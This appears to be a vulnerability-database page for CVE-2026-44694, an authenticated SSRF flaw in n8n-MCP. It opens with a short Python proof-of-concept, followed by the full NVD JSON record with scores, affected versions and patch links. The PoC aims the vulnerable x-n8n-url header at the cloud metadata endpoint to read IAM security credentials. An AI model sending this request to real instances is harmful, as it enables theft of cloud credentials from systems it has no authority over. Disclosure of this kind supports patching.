CVE-2026-44694

# Proof of Concept for CVE-2026-44694 (SSRF in n8n-MCP) import requests target_url = "http://vulnerable-n8n-mcp-instance/api/trigger" # Simulating an attacker trying to access internal metadata service malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Authorization": "Bearer <valid_low_privilege_token>", # PR:L is required "x-n8n-url": malicious_url, # Vulnerable header in multi-tenant mode "Content-Type": "application/json" } data = {"node_params": {}} try: response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200: print("[+] SSRF successful! Response from internal service:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-44694", "sourceIdentifier": "[email protected]", "published": "2026-05-08T20:16:31.917", "lastModified": "2026-05-14T18:10:06.867", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. From version 2.18.7 to before version 2.50.2, there is an authenticated server-side request forgery vulnerability affecting the webhook trigger tools, the n8n API client (N8N_API_URL), and per-request URLs supplied via the x-n8n-url header in multi-tenant HTTP mode. This issue has been patched in version 2.50.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n-mcp:n8n-mcp:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.18.7", "versionEndExcluding": "2.50.2", "matchCriteriaId": "31819157-E06E-4F14-871D-3BEFF7E68482"}]}]}], "references": [{"url": "https://github.com/czlonkowski/n8n-mcp/commit/bcaba839409d470abeb4a6ad9b361b553a1098eb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/czlonkowski/n8n-mcp/releases/tag/v2.50.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-cmrh-wvq6-wm9r", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}